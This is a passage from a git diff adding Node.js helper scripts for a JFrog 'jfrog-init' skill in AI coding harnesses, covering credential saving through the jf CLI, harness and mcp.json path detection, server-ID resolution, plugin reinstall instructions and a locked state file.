resolveCommand } from "./lib/command.mjs"; + +// A `jf.cmd` shim runs under a shell, which concatenates arguments unescaped, +// so everything interpolated into a `jf` argument is screened first. +export const SAFE_URL = /^https?:\/\/[A-Za-z0-9.-]+(:\d+)?(\/[A-Za-z0-9._~/-]*)?$/; +const SAFE_TOKEN = /^[A-Za-z0-9._-]+$/; + +// Derive server ID from URL +// SaaS: https://mycompany.jfrog.io → mycompany +// Self-hosted: https://artifactory.internal.corp → artifactory-internal-corp +export function deriveServerId(platformUrl) { + let host = platformUrl.replace(/^[a-z]*:\/\//, ""); + host = host.replace(/\.jfrog\.io.*/, ""); + host = host.replace(/[./]/g, "-"); + return host; +} + +// Pins stdio so a failing/logging `jf` subprocess can't leak output to +// this script's own stderr (Node's execFileSync default is to echo the +// child's stderr live to the parent) — see lib/jf-api.mjs's jfApi() for +// the full rationale. Still captures both streams via the thrown error's +// .stdout/.stderr on failure. +function execFileOpts(timeoutMs, needsShell) { + return { + encoding: "utf8", + timeout: timeoutMs, + shell: needsShell, + stdio: ["ignore", "pipe", "pipe"], + }; +} + +export function saveCredentials(platformUrlRaw, sessionUuid) { + if (!platformUrlRaw || !sessionUuid) { + process.stderr.write("Usage: node jfrog-login-save-credentials.mjs \n"); + return 1; + } + const platformUrl = platformUrlRaw.replace(/\/+$/, ""); + if (!SAFE_URL.test(platformUrl)) { + process.stderr.write("ERROR: platform URL contains unexpected characters.\n"); + return 1; + } + + selfHealPath(); + const { target: jfPath, shell: needsShell } = resolveCommand("jf"); + + try { + execFileSync(jfPath, ["--version"], execFileOpts(10_000, needsShell)); + } catch (err) { + if (err.code === "ENOENT") { + process.stderr.write("ERROR: jf is not installed\n"); + return 1; + } + // Broken/hung jf: fall through and let the jf api calls below surface + // their own more specific failure. + } + + const serverId = deriveServerId(platformUrl); + + // Retrieve the one-time token (stdout = JSON body; stderr = jf status lines) + const tokenResp = jfApi([ + "--url", + platformUrl, + `/access/api/v2/authentication/jfrog_client_login/token/${sessionUuid}`, + ]); + + if (!tokenResp.ok) { + let httpCode = parseHttpStatus(tokenResp.stderr); + if (httpCode === "0") httpCode = parseHttpStatus(tokenResp.stdout); + const exitStatus = (tokenResp.error && tokenResp.error.status) ?? 1; + process.stderr.write(`ERROR: Token retrieval failed (HTTP ${httpCode}, exit ${exitStatus}).\n`); + if (httpCode === "400") { + process.stderr.write("The user may not have completed the browser login yet.\n"); + } + return 2; + } + + const bodyText = tokenResp.stdout + .split("\n") + .filter((line) => !line.includes("[Info]")) + .join("\n"); + + let accessToken = ""; + try { + const parsed = JSON.parse(bodyText); + accessToken = typeof parsed.access_token === "string" ? parsed.access_token : ""; + } catch { + accessToken = ""; + } + + if (!accessToken) { + process.stderr.write("ERROR: Response contained no access token. Login must restart from step 1.\n"); + return 3; + } + if (!SAFE_TOKEN.test(accessToken)) { + process.stderr.write("ERROR: Received token has an unexpected format. Login must restart from step 1.\n"); + return 3; + } + + // A derived server ID drops the scheme, port and path, so it can collide + // with an unrelated server already configured under the same name — the + // remove/add below would delete that entry's credentials silently. + const existingUrl = normalizeJpdUrl(urlForServer(jfConfigShow(), serverId)); + if (existingUrl && existingUrl !== normalizeJpdUrl(platformUrl)) { + process.stderr.write(`ERROR: jf server '${serverId}' already points at ${existingUrl} — refusing to overwrite it.\n`); + return 4; + } + + // Save credentials to jf config (writes to ~/.jfrog/, needs unrestricted filesystem) + try { + execFileSync(jfPath, ["config", "remove", serverId, "--quiet"], execFileOpts(10_000, needsShell)); + } catch { + // No existing entry to remove — fine. + } + + try { + execFileSync( + jfPath, + ["config", "add", serverId, `--url=${platformUrl}`, `--access-token=${accessToken}`, "--interactive=false"], + execFileOpts(15_000, needsShell) + ); + } catch { + process.stderr.write("ERROR: Failed to save credentials with jf config add.\n"); + process.stderr.write("This may be caused by sandbox restrictions on ~/.jfrog/ writes.\n"); + return 4; + } + + process.stdout.write(`SERVER_ID=${serverId}\n`); + process.stdout.write("--- Verifying authentication ---\n"); + + const verify = jfApi([`--server-id=${serverId}`, "/artifactory/api/system/version"]); + process.stdout.write(verify.stdout); + if (!verify.ok) { + process.stderr.write("ERROR: Authentication verification failed. Token may not have saved correctly.\n"); + return 4; + } + + return 0; +} + +// Sets process.exitCode rather than calling process.exit() — a forced +// exit can truncate a still-draining stdout write if output is piped. +if (isMainModule(import.meta.url)) { + process.exitCode = saveCredentials(process.argv[2] || "", process.argv[3] || ""); +} diff --git a/skills/jfrog-init/scripts/jfrog-reinstall-jfrog-plugin.mjs b/skills/jfrog-init/scripts/jfrog-reinstall-jfrog-plugin.mjs new file mode 100755 index 0000000..f115185 --- /dev/null +++ b/skills/jfrog-init/scripts/jfrog-reinstall-jfrog-plugin.mjs @@ -0,0 +1,86 @@ +#!/usr/bin/env node +// This script itself never writes to the plugin's mcp.json — the file is +// owned by the JFrog plugin (Cursor / VS Code / Claude / Codex). It only prints +// the diagnosis and the correct remedy for a plugin file that's missing +// or invalid: reinstall or update the plugin, with per-harness commands +// so the user isn't left guessing. (A placeholder-only problem — e.g. an +// unresolved `${JFROG_PLATFORM_URL}` — is handled separately and +// automatically by jfrog-substitute-mcp-placeholders.mjs, the one place +// in this skill that does edit the file in place; this script is only +// reached when that auto-fix isn't applicable.) +// +// Usage: node jfrog-reinstall-jfrog-plugin.mjs +// Always exits 0 after printing. + +import { existsSync } from "node:fs"; +import { detectHarness, resolveMcpConfig } from "./jfrog-resolve-mcp-config.mjs"; + +const resolved = resolveMcpConfig(); +const harness = detectHarness(); + +console.log(`The JFrog MCP entry lives inside the JFrog plugin's own mcp.json file. +This script never writes to it — it only diagnoses and prints the fix. + +If /jfrog-init sent you here, the plugin's mcp.json is missing, empty, +or otherwise invalid, and the fix is to reinstall or update the JFrog +plugin in your IDE. +`); + +switch (harness) { + case "claude": + console.log(`Claude Code: + claude plugin uninstall jfrog-beta/jfrog # if already installed + claude plugin install jfrog-beta/jfrog + +After install, restart Claude Code, then re-run /jfrog-init.`); + break; + case "cursor": + console.log(`Cursor: + Open Cursor → Settings → Plugins (or Extensions) → search "JFrog" → + Uninstall (if present) → Install. Restart Cursor. + Then re-run /jfrog-init.`); + break; + case "vscode": + console.log(`VS Code: + code --uninstall-extension JFrog.jfrog-vscode-extension || true + code --install-extension JFrog.jfrog-vscode-extension --force + +Restart VS Code, then re-run /jfrog-init.`); + break; + case "codex": + console.log(`Codex: + codex plugin remove jfrog@codex-plugin # if already installed + codex plugin marketplace add jfrog/codex-plugin # skip if already configured + codex plugin marketplace upgrade codex-plugin + codex plugin add jfrog@codex-plugin + +Restart Codex, then re-run /jfrog-init.`); + break; + default: + console.log(`Reinstall the JFrog plugin in whichever IDE you're using: + Cursor: Settings → Plugins → search "JFrog" → reinstall. + VS Code: code --install-extension JFrog.jfrog-vscode-extension --force + Claude Code: claude plugin install jfrog-beta/jfrog + Codex: codex plugin marketplace add jfrog/codex-plugin && codex plugin add jfrog@codex-plugin + +Restart the IDE afterwards, then re-run /jfrog-init.`); +} + +console.log(` +Expected plugin-owned paths (for reference): + + Cursor: ~/.cursor/plugins/cache/cursor-public/jfrog//mcp.json + VS Code: ~/.vscode/agent-plugins/github.com/jfrog/vscode-plugin/plugin/.mcp.json + Claude: ~/.claude/plugins/cache//jfrog//.mcp.json + Codex: $CODEX_HOME/plugins/cache/codex-plugin/jfrog//.mcp.json + ($CODEX_HOME defaults to ~/.codex) +`); + +if (resolved.path && existsSync(resolved.path)) { + console.log(`Plugin's mcp.json currently resolves to: ${resolved.path}`); +} else if (resolved.path) { + console.log(`Plugin's mcp.json is expected at ${resolved.path}, but nothing is there right now.`); +} else { + console.log("Plugin's mcp.json is not on disk right now:"); + console.log(` ${resolved.error}`); +} diff --git a/skills/jfrog-init/scripts/jfrog-resolve-jf-server.mjs b/skills/jfrog-init/scripts/jfrog-resolve-jf-server.mjs new file mode 100755 index 0000000..b4a655a --- /dev/null +++ b/skills/jfrog-init/scripts/jfrog-resolve-jf-server.mjs @@ -0,0 +1,86 @@ +#!/usr/bin/env node +// Resolves which jf server ID to use, in this order: +// 1. First positional arg, if non-empty +// 2. JF_SERVER_ID env var, if non-empty +// 3. The server marked "isDefault": true in ~/.jfrog/jfrog-cli.conf.v6 +// (via `jf c show --format=json`) +// 4. If exactly one server is configured, it is used silently. +// +// This is the single source of truth for server-id resolution — every +// script that needs a server-id (server-ping, catalog-runtime, project, +// detect-all, the mcp-placeholder substituter) MUST resolve through this +// function rather than re-deriving the fallback chain, so they always +// agree on which server is "the" server on a multi-server machine. +// +// Returns the resolved server ID, or "" if multiple servers are +// configured, none is marked default, and no override was given — +// callers must then ask the user (never invent a server, never rely on +// `jf`'s own fallback). +// +// CLI usage: node jfrog-resolve-jf-server.mjs [override] +// Exit 0 -> a server ID was resolved; printed on stdout +// Exit 1 -> could not resolve (no override, no default marked, >1 server) + +import { emit, isMainModule, jfAvailable, jfConfigShow, defaultServerId, emitNoServerResolved, describeJfUnavailable } from "./lib/jf.mjs"; + +// `runJf()` (lib/jf.mjs) passes `--server-id=${serverId}` to `execFileSync` +// as a real array element, never through a shell — so a serverId +// containing spaces or punctuation reaches `jf` as one argument, exactly +// as typed, with no injection surface to defend against here. This used +// to validate the id against an allowlist, then a denylist, on the +// assumption that "real jf server IDs are always a plain identifier" — +// that's false: `jf config add "my server" --interactive=false` succeeds +// and writes `"serverId": "my server"`, and jf enforces no charset of its +// own. Either list rejected realistic ids (spaces, parens from an +// auto-disambiguated id like "dev(1)", etc.) exactly like it would reject +// a genuinely dangerous one, so resolution silently failed closed on a +// perfectly normal setup — misreported by callers as "multiple servers, +// none resolved" instead of the real cause. Now that runJf() no longer +// goes through a shell, there is nothing left for a charset check here to +// protect against. +export function resolveJfServer(override, configList) { + const picked = override || process.env.JF_SERVER_ID || ""; + if (picked) return picked; + // Every caller that passes `configList` has already called jfAvailable() + // itself to get there (see jfrog-detect-*.mjs) — re-checking here would + // just spawn a second, redundant `jf --version`. Only the standalone + // CLI usage below (no configList) still needs this script to check. + if (configList === undefined && !jfAvailable()) return ""; + const list = configList || jfConfigShow(); + const fromDefault = defaultServerId(list); + if (fromDefault) return fromDefault; + if (list.length === 1 && list[0].serverId) { + return list[0].serverId; + } + return ""; +} + +// Shared "jf installed? → read config → resolve server-id → ask if +// ambiguous" preamble — every jfrog-detect-*.mjs that takes an optional +// [server-id] argument (server-ping, catalog-runtime, project) needs the +// exact same four steps; only the status/exit code for "jf not installed" +// differs between them, so that's the one thing callers still pick. +// Returns { serverId, configList, exitCode } — exitCode is non-null (and +// already emitted) when the caller should stop and return it as-is. +export function resolveServerOrEmit(check, argServerId, jfMissing) { + if (!jfAvailable()) { + emit({ check, status: jfMissing.status, detail: describeJfUnavailable() }); + return { serverId: null, configList: [], exitCode: jfMissing.exitCode }; + } + const configList = jfConfigShow(); + const serverId = resolveJfServer(argServerId, configList); + if (!serverId) { + return { serverId: null, configList, exitCode: emitNoServerResolved(check, configList) }; + } + return { serverId, configList, exitCode: null }; +} + +if (isMainModule(import.meta.url)) { + const resolved = resolveJfServer(process.argv[2]); + if (resolved) { + process.stdout.write(resolved + "\n"); + process.exitCode = 0; + } else { + process.exitCode = 1; + } +} diff --git a/skills/jfrog-init/scripts/jfrog-resolve-mcp-config.mjs b/skills/jfrog-init/scripts/jfrog-resolve-mcp-config.mjs new file mode 100755 index 0000000..14d7e0e --- /dev/null +++ b/skills/jfrog-init/scripts/jfrog-resolve-mcp-config.mjs @@ -0,0 +1,279 @@ +#!/usr/bin/env node +// Resolves the PLUGIN-OWNED mcp.json for the CURRENT harness and returns its +// absolute path. This is the file the JFrog plugin ships with — NOT the +// user's project- or user-scope MCP config. This skill never touches the +// customer's own mcp.json; only the one owned by the JFrog plugin. +// +// Plugin-owned paths per harness: +// Cursor: ~/.cursor/plugins/cache/cursor-public/jfrog//mcp.json +// (multiple dirs may exist; the most-recently-modified +// one is picked — that's the active version.) +// VS Code: ~/.vscode/agent-plugins/github.com/jfrog/vscode-plugin/plugin/.mcp.json +// (stable path; no sha in the path.) +// Claude: ~/.claude/plugins/cache//jfrog//.mcp.json +// (glob across any marketplace + version; most-recently- +// modified wins.) +// Codex: $CODEX_HOME/plugins/cache/codex-plugin/jfrog//.mcp.json +// (multiple dirs may exist; most-recently-modified +// wins. $CODEX_HOME defaults to ~/.codex.) +// +// NOTE (Claude): the current released Claude plugin (jfrog-beta/0.3.0-beta.1) +// does NOT ship a .mcp.json — the source repo has one, but the packager +// does not include it. Until the packager is fixed, resolution on Claude +// Code throws a "plugin file not installed" error, which the detector +// converts into a clear red / "reinstall the JFrog plugin" instruction. +// +// Harness detection (env-var signals, in order): +// 1. Codex -> $CODEX_SANDBOX / $CODEX_THREAD_ID / $CODEX_CI set +// 2. Claude Code -> $CLAUDECODE / $CLAUDE_CODE_* set +// 3. Cursor -> $CURSOR_AGENT / $CURSOR_CLI / $CURSOR_TRACE_ID set, +// or TERM_PROGRAM=cursor +// 4. VS Code -> $VSCODE_PID set, or TERM_PROGRAM=vscode +// Codex is listed first because a Codex session launched from inside +// another harness's terminal still carries that host's own signal — and +// nesting goes both ways, so more than one signal can be present at once. +// When that happens, detectHarness() below walks the process ancestry to +// find which harness actually spawned this invocation. +// detectHarness() is the single JS implementation — exported and reused +// by every other script in this skill that needs harness information. +// +// Overrides: +// - JFROG_INIT_HARNESS=claude|cursor|vscode|codex forces one specific harness. +// - JFROG_INIT_MCP_CONFIG=/abs/path forces one specific path. +// (Escape hatch — bypasses the plugin-path resolution entirely.) +// - CODEX_HOME=/abs/path Codex's own var, honored by +// the codex branch below; defaults to ~/.codex. +// +// CLI usage: node jfrog-resolve-mcp-config.mjs +// Prints only the path on stdout on success. +// Exit 0 -> path resolved +// Exit 1 -> could not detect the current harness +// Exit 2 -> harness detected, but the plugin's mcp.json is not installed + +import { execFileSync } from "node:child_process"; +import { existsSync, readdirSync, statSync } from "node:fs"; +import { homedir } from "node:os"; +import { join } from "node:path"; +import { isMainModule } from "./lib/jf.mjs"; + +const VALID_HARNESSES = new Set(["claude", "cursor", "vscode", "codex"]); + +// One entry per harness, in priority order (see doc comment above) — used +// both as the signal check and as the static fallback when the ancestry +// tie-break can't resolve it. Adding a harness (Kiro, OpenCode, ...) is +// just a new entry here. +const HARNESS_SIGNALS = [ + { name: "codex", signaled: () => process.env.CODEX_SANDBOX || process.env.CODEX_THREAD_ID || process.env.CODEX_CI }, + { name: "claude", signaled: () => process.env.CLAUDECODE || process.env.CLAUDE_CODE_ENTRYPOINT || process.env.CLAUDE_CODE_SESSION_ID }, + // Checked before VS Code: Cursor's CLI/agent surfaces can report TERM_PROGRAM=vscode. + { name: "cursor", signaled: () => process.env.CURSOR_AGENT || process.env.CURSOR_CLI || process.env.CURSOR_TRACE_ID || process.env.TERM_PROGRAM === "cursor" }, + { name: "vscode", signaled: () => process.env.VSCODE_PID || process.env.TERM_PROGRAM === "vscode" }, +]; + +// Breaks ties when multiple harness signals fire at once: env vars are +// inherited by child processes regardless of nesting direction, so +// presence alone can't tell them apart. Walks up from the immediate +// parent — skipping the shell/node layers each harness spawns to run a +// command (e.g. codex -> bash -> claude -> bash -> node) — until a +// process name matches a candidate, or maxDepth is hit. Unix-only (ps); +// returns [] on failure (e.g. Windows), which falls through to the +// static priority order. +function getAncestorChain(maxDepth = 12) { + const chain = []; + let pid = process.ppid; + for (let i = 0; i < maxDepth && pid > 1; i++) { + let line; + try { + line = execFileSync("ps", ["-o", "ppid=,comm=", "-p", String(pid)]).toString().trim(); + } catch { + break; + } + const match = line.match(/^(\d+)\s+(.*)$/); + if (!match) break; + chain.push(match[2].toLowerCase()); + pid = Number(match[1]); + } + return chain; +} + +// JFROG_INIT_HARNESS is matched case-insensitively so the documented +// override doesn't silently fail on a case mismatch. getAncestors is +// injectable so tests can stub the tie-break without spawning `ps`. +export function detectHarness(getAncestors = getAncestorChain) { + if (process.env.JFROG_INIT_HARNESS) return process.env.JFROG_INIT_HARNESS.trim().toLowerCase(); + const candidates = HARNESS_SIGNALS.filter((h) => h.signaled()).map((h) => h.name); + if (candidates.length <= 1) return candidates[0] || ""; + // Multiple signals at once means nested harnesses — resolve via + // ancestry, else fall back to the static priority order. + for (const comm of getAncestors()) { + const match = candidates.find((name) => comm.includes(name)); + if (match) return match; + } + return candidates[0]; +} + +// Picks the newest file matching `/*/<...tailParts>` by mtime. +function newestMatch(dir, tailParts) { + let best = null; + let bestMtime = -Infinity; + let entries; + try { + entries = readdirSync(dir, { withFileTypes: true }); + } catch { + return null; + } + for (const entry of entries) { + if (!entry.isDirectory()) continue; + const candidate = join(dir, entry.name, ...tailParts); + let mtime; + try { + mtime = statSync(candidate).mtimeMs; + } catch { + // Candidate existed during readdirSync but is gone now (e.g. a + // plugin update replacing this version dir mid-scan) — skip it + // rather than letting statSync's ENOENT crash the whole detector. + continue; + } + if (mtime > bestMtime) { + best = candidate; + bestMtime = mtime; + } + } + return best; +} + +// Claude's cache nests one extra "marketplace" directory: +// ~/.claude/plugins/cache//jfrog//.mcp.json — one +// newestMatch() per marketplace (over its jfrog/ dirs), then the +// newest across marketplaces. Delegating to newestMatch() rather than +// re-scanning by hand keeps this path's stale-entry handling (a version +// dir vanishing mid-scan) in sync with the Cursor/VS Code path for free. +function newestClaudeMatch() { + const cacheDir = join(homedir(), ".claude", "plugins", "cache"); + let marketplaces; + try { + marketplaces = readdirSync(cacheDir, { withFileTypes: true }); + } catch { + return null; + } + let best = null; + let bestMtime = -Infinity; + for (const mp of marketplaces) { + if (!mp.isDirectory()) continue; + const candidate = newestMatch(join(cacheDir, mp.name, "jfrog"), [".mcp.json"]); + if (!candidate) continue; + let mtime; + try { + mtime = statSync(candidate).mtimeMs; + } catch { + continue; + } + if (mtime > bestMtime) { + best = candidate; + bestMtime = mtime; + } + } + return best; +} + +function resolveClaudePath() { + const match = newestClaudeMatch(); + if (!match) { + return { + error: + "JFrog Claude plugin does not ship a .mcp.json at ~/.claude/plugins/cache/*/jfrog/*/.mcp.json\n" + + " reinstall or update the JFrog plugin so it includes the file.", + code: 2, + }; + } + return { path: match }; +} + +function resolveCursorPath() { + const match = newestMatch(join(homedir(), ".cursor", "plugins", "cache", "cursor-public", "jfrog"), ["mcp.json"]); + if (!match) { + return { + error: + "JFrog Cursor plugin's mcp.json not found under ~/.cursor/plugins/cache/cursor-public/jfrog/\n" + + " install the JFrog plugin in Cursor to make it available.", + code: 2, + }; + } + return { path: match }; +} + +function resolveVscodePath() { + const p = join(homedir(), ".vscode", "agent-plugins", "github.com", "jfrog", "vscode-plugin", "plugin", ".mcp.json"); + if (!existsSync(p)) { + return { + error: `JFrog VS Code plugin's .mcp.json not found at ${p}\n install the JFrog plugin in VS Code to make it available.`, + code: 2, + }; + } + return { path: p }; +} + +function resolveCodexPath() { + const codexHome = process.env.CODEX_HOME || join(homedir(), ".codex"); + const codexPluginDir = join(codexHome, "plugins", "cache", "codex-plugin", "jfrog"); + const match = newestMatch(codexPluginDir, [".mcp.json"]); + if (!match) { + return { + error: + `JFrog Codex plugin's .mcp.json not found under ${codexPluginDir}/\n` + + " run `codex plugin marketplace add jfrog/codex-plugin` then\n" + + " `codex plugin add jfrog@codex-plugin` to make it available.", + code: 2, + }; + } + return { path: match }; +} + +export function resolveMcpConfig() { + if (process.env.JFROG_INIT_MCP_CONFIG) { + return { path: process.env.JFROG_INIT_MCP_CONFIG }; + } + + const harness = detectHarness(); + + // An explicit override that doesn't match a known harness is a typo, not + // "no signal detected" — say so instead of falling through to the + // generic detection-failure message below, which would tell the user to + // set the very variable they already set. + if (process.env.JFROG_INIT_HARNESS && !VALID_HARNESSES.has(harness)) { + return { + error: `JFROG_INIT_HARNESS=${process.env.JFROG_INIT_HARNESS} is not one of: claude, cursor, vscode, codex.`, + code: 1, + }; + } + + switch (harness) { + case "claude": + return resolveClaudePath(); + case "cursor": + return resolveCursorPath(); + case "vscode": + return resolveVscodePath(); + case "codex": + return resolveCodexPath(); + default: + return { + error: + "could not detect current harness (Claude Code / Cursor / VS Code / Codex).\n" + + " Set JFROG_INIT_HARNESS=claude|cursor|vscode|codex, or\n" + + " JFROG_INIT_MCP_CONFIG=/absolute/path/to/mcp.json to override.", + code: 1, + }; + } +} + +if (isMainModule(import.meta.url)) { + const result = resolveMcpConfig(); + if (result.path) { + process.stdout.write(result.path + "\n"); + process.exitCode = 0; + } else { + process.stderr.write(`error: ${result.error}\n`); + process.exitCode = result.code; + } +} diff --git a/skills/jfrog-init/scripts/jfrog-state-file.mjs b/skills/jfrog-init/scripts/jfrog-state-file.mjs new file mode 100755 index 0000000..d1d1b15 --- /dev/null +++ b/skills/jfrog-init/scripts/jfrog-state-file.mjs @@ -0,0 +1,289 @@ +#!/usr/bin/env node +// jfrog-state-file.mjs — read/write the /jfrog-init state file at +// ~/.jfrog/setup.json. Keyed by JFrog CLI server ID so a machine +// with multiple JPDs stays coherent. +// +// File shape (versioned; consumers MUST tolerate unknown top-level keys): +// { +// "version": 1, +// "servers": { +// "": { +// "jpdUrl": "https://acme.jfrog.io", +// "currentActiveProject": "widgets" +// } +// } +// } +// `currentActiveProject` is OPTIONAL — a record can exist with just +// `jpdUrl` when the server is known but no project has been resolved yet +// (e.g. Step 6 hit its retry cap). Consumers MUST NOT assume it's present. +// +// Rules: +// - Never contains secrets. Only public identifiers (server id, JPD URL, +// project key). No timestamps — the record is a pointer to what's +// active now, not a usage log. +// - Read failure = empty state (no error propagated). The file is a +// hint, not a source of truth. +// - Writes go through a temp file + rename for atomicity so a partial +// write can't leave broken JSON on disk. "set" also takes a +// cross-process exclusive lock around its read-modify-write so two +// concurrent walks updating different servers can't clobber each +// other's record. +// - Directory ~/.jfrog is created with mode 0700 if missing. File is +// written with mode 0644. +// +// Usage: +// node jfrog-state-file.mjs get +// -> stdout is the record's JSON (or "{}" if absent). Exit 0. +// +// node jfrog-state-file.mjs get-current-project +// -> stdout is JSON {"currentActiveProject": "...", "jpdUrl": "..."} +// (fields omitted if no record exists). Exit 0. +// +// node jfrog-state-file.mjs set [project-key] +// -> merges/creates the server record with the given fields. +// [project-key] is optional — pass "" (or omit it) to record the +// server/JPD without a currentActiveProject, e.g. when Step 6 +// couldn't resolve one. Exit 0 on success, exit 1 on write error. +// +// node jfrog-state-file.mjs path +// -> stdout is the absolute path to the state file. Exit 0. +// +// Any parse/write failure prints a short message to stderr and exits +// non-zero; callers can `|| true` to keep the walk moving on stateless +// paths. + +import { mkdirSync, readFileSync, writeFileSync, renameSync, chmodSync, existsSync, unlinkSync, statSync } from "node:fs"; +import { homedir } from "node:os"; +import { join } from "node:path"; +import { isMainModule } from "./lib/jf.mjs"; + +const STATE_DIR = join(homedir(), ".jfrog"); +const STATE_PATH = join(STATE_DIR, "setup.json"); +const LOCK_PATH = `${STATE_PATH}.lock`; +const CURRENT_VERSION = 1; + +// Exclusive-create is atomic even across processes, so this is a real +// mutex (not just a TOCTOU-prone existsSync check) guarding the +// read-modify-write in "set" below — two concurrent walks writing +// different servers' records must not clobber each other's update. +// +// Single attempt, no busy-wait retry loop: the record it protects is a +// best-effort "reuse last project?" hint, not a source of truth (the +// caller in jfrog-detect-all.mjs treats a write failure as a warning, +// not a walk failure) — blocking to wait out contention isn't worth the +// latency for what's allowed to be lost anyway. +// +// A process that crashes (Ctrl-C, OOM, harness timeout) while holding the +// lock never reaches releaseLock(), leaving LOCK_PATH on disk forever. To +// recover from that, a lock file older than STALE_LOCK_MS is treated as +// abandoned and removed before the one retry below. +const STALE_LOCK_MS = 30_000; + +function reclaimIfStale() { + try { + if (Date.now() - statSync(LOCK_PATH).mtimeMs > STALE_LOCK_MS) unlinkSync(LOCK_PATH); + } catch { + // Lock vanished between the failed create and this check, or the + // stat itself failed — either way there's nothing to reclaim. + } +} + +function acquireLock() { + try { + writeFileSync(LOCK_PATH, String(process.pid), { flag: "wx" }); + return true; + } catch (err) { + if (err.code !== "EEXIST") throw err; + reclaimIfStale(); + try { + writeFileSync(LOCK_PATH, String(process.pid), { flag: "wx" }); + return true; + } catch { + return false; + } + } +} + +function releaseLock() { + try { + unlinkSync(LOCK_PATH); + } catch { + // Already gone (or never acquired) — nothing to clean up. + } +} + +function loadState() { + if (!existsSync(STATE_PATH)) return { version: CURRENT_VERSION, servers: {} }; + try { + const raw = readFileSync(STATE_PATH, "utf8"); + if (!raw.trim()) return { version: CURRENT_VERSION, servers: {} }; + const parsed = JSON.parse(raw); + if (!parsed || typeof parsed !== "object" || Array.isArray(parsed)) { + return { version: CURRENT_VERSION, servers: {} }; + } + if (!parsed.servers || typeof parsed.servers !== "object") { + parsed.servers = {}; + } + return parsed; + } catch { + // Corrupt file — treat as empty so the walk doesn't hard-stop on a + // stale hint. The write path will overwrite it next time we save. + return { version: CURRENT_VERSION, servers: {} }; + } +} + +function ensureStateDir() { + try { + mkdirSync(STATE_DIR, { recursive: true, mode: 0o700 }); + } catch (err) { + if (err.code !== "EEXIST") throw err; + } +} + +function saveState(state) { + ensureStateDir(); + const tmp = `${STATE_PATH}.tmp.${process.pid}`; + try { + // "wx" refuses to follow/overwrite anything already at tmp (e.g. a + // pre-planted symlink) — same symlink-safe pattern as + // lib/project-cache.mjs's writeCachedProjectList(). + writeFileSync(tmp, JSON.stringify(state, null, 2) + "\n", { mode: 0o644, flag: "wx" }); + // Not redundant with the `mode` above, despite looking it: writeFileSync's + // mode is masked by the process umask at creation, so under a restrictive + // umask (0077, common on hardened machines) the file lands at 0600 and the + // documented 0644 contract at the top of this file silently doesn't hold. + // chmod is not umask-masked, so it forces the mode after the fact. + chmodSync(tmp, 0o644); + renameSync(tmp, STATE_PATH); + } catch (err) { + // A run killed between the write and the rename (Ctrl-C, OOM, harness + // timeout) leaves tmp behind; the name is only unique per PID, so the + // next run to reuse that PID would otherwise hit EEXIST here forever. + try { + unlinkSync(tmp); + } catch { + // Never created, already renamed, or not ours to remove. + } + throw err; + } +} + +// Exported so jfrog-detect-all.mjs can call this in-process instead of +// shelling out to a `node` subprocess — the same in-process pattern +// jfrog-resolve-jf-server.mjs / jfrog-resolve-mcp-config.mjs / +// jfrog-substitute-mcp-placeholders.mjs use. Returns { ok, error } instead +// of writing to stderr and calling process.exit(), so an in-process +// caller decides for itself how to surface a failure (jfrog-detect-all.mjs +// treats it as a warning, not a walk failure). +// +// The lock is released explicitly on every path (not via try/finally) to +// mirror the CLI wrapper's exit-code contract below exactly. +export function setStateForServer(serverId, jpdUrl, projectKey) { + if (!serverId || !jpdUrl) { + return { ok: false, error: "set requires [project-key]" }; + } + // The lock file lives in STATE_DIR too, so it must exist before + // acquireLock() — not just before saveState() — or the very first + // write on a machine where ~/.jfrog doesn't exist yet (nothing has + // run `jf config add` or otherwise created it) fails with ENOENT. + let locked; + try { + ensureStateDir(); + locked = acquireLock(); + } catch (err) { + return { ok: false, error: `write failed: ${err.message}` }; + } + if (!locked) { + // Lock not acquired (stale lock file from a crashed process, or + // genuine contention) — fail rather than doing the read-modify-write + // unprotected, which would defeat the whole point of the lock. + return { ok: false, error: "could not acquire lock — another /jfrog-init walk may be writing state; try again" }; + } + try { + const state = loadState(); + state.version = CURRENT_VERSION; + state.servers = state.servers || {}; + // Replace the record wholesale rather than spreading the previous + // one forward — otherwise a stale legacy key (e.g. from an older + // state-file schema) would linger alongside the current fields. + // Exception: an empty projectKey means THIS walk didn't resolve a + // project (e.g. Step 6 hit its retry cap), not that the server has + // no project — carry the previous currentActiveProject forward + // rather than erasing a still-possibly-valid "reuse CURRENT?" hint + // over what's likely a transient miss. + const previous = state.servers[serverId]; + state.servers[serverId] = + projectKey ? { jpdUrl, currentActiveProject: projectKey } + : previous?.currentActiveProject ? { jpdUrl, currentActiveProject: previous.currentActiveProject } + : { jpdUrl }; + saveState(state); + releaseLock(); + return { ok: true }; + } catch (err) { + releaseLock(); + return { ok: false, error: `write failed: ${err.message}` }; + } +} + +if (isMainModule(import.meta.url)) { + const [mode, ...args] = process.argv.slice(2); + + // Sets process.exitCode rather than calling process.exit() — a forced + // exit can truncate a still-draining stdout write, and every mode below + // is a caller reading that stdout for its result. Every branch now needs + // its own explicit `break` (process.exit() used to provide that for + // free by terminating the process outright). + switch (mode) { + case "path": + process.stdout.write(STATE_PATH); + process.exitCode = 0; + break; + + case "get": { + const serverId = args[0]; + if (!serverId) { + process.stdout.write("{}"); + process.exitCode = 0; + break; + } + const state = loadState(); + const rec = state.servers?.[serverId]; + process.stdout.write(rec ? JSON.stringify(rec) : "{}"); + process.exitCode = 0; + break; + } + + case "get-current-project": { + const serverId = args[0]; + if (!serverId) { + process.stdout.write("{}"); + process.exitCode = 0; + break; + } + const state = loadState(); + const rec = state.servers?.[serverId]; + const out = {}; + if (rec && typeof rec.currentActiveProject === "string") out.currentActiveProject = rec.currentActiveProject; + if (rec && typeof rec.jpdUrl === "string") out.jpdUrl = rec.jpdUrl; + process.stdout.write(JSON.stringify(out)); + process.exitCode = 0; + break; + } + + case "set": { + const [serverId, jpdUrl, projectKey] = args; + const result = setStateForServer(serverId, jpdUrl, projectKey); + if (!result.ok) { + process.stderr.write(`state-file: ${result.error}\n`); + process.exitCode = 1; + break; + } + process.exitCode = 0; + break; + } + + default: + process.stderr.write(`state-file: unknown mode ${JSON.stringify(mode)}\n`); + process.exitCode = 1; + } +} diff --git a/skills/jfrog-init/scripts/jfrog-substitute-mcp-placeholders.mjs b/skills/jfrog-init/scripts/jfrog-substitute-mcp-placeholders.mjs new file mode 100755 index 0000000..c75b6f0 --- /dev/null +++ b/skills/jfrog-init/scripts/jfrog-substitute-mcp-placeholders.mjs @@ -0,0 +1,158 @@ +#!/usr/bin/env node +// Rewrites a placeholder-style env-var reference in the JFrog plugin's +// mcp.json — specifically the `jfrog` entry's `.url` (nested under +// 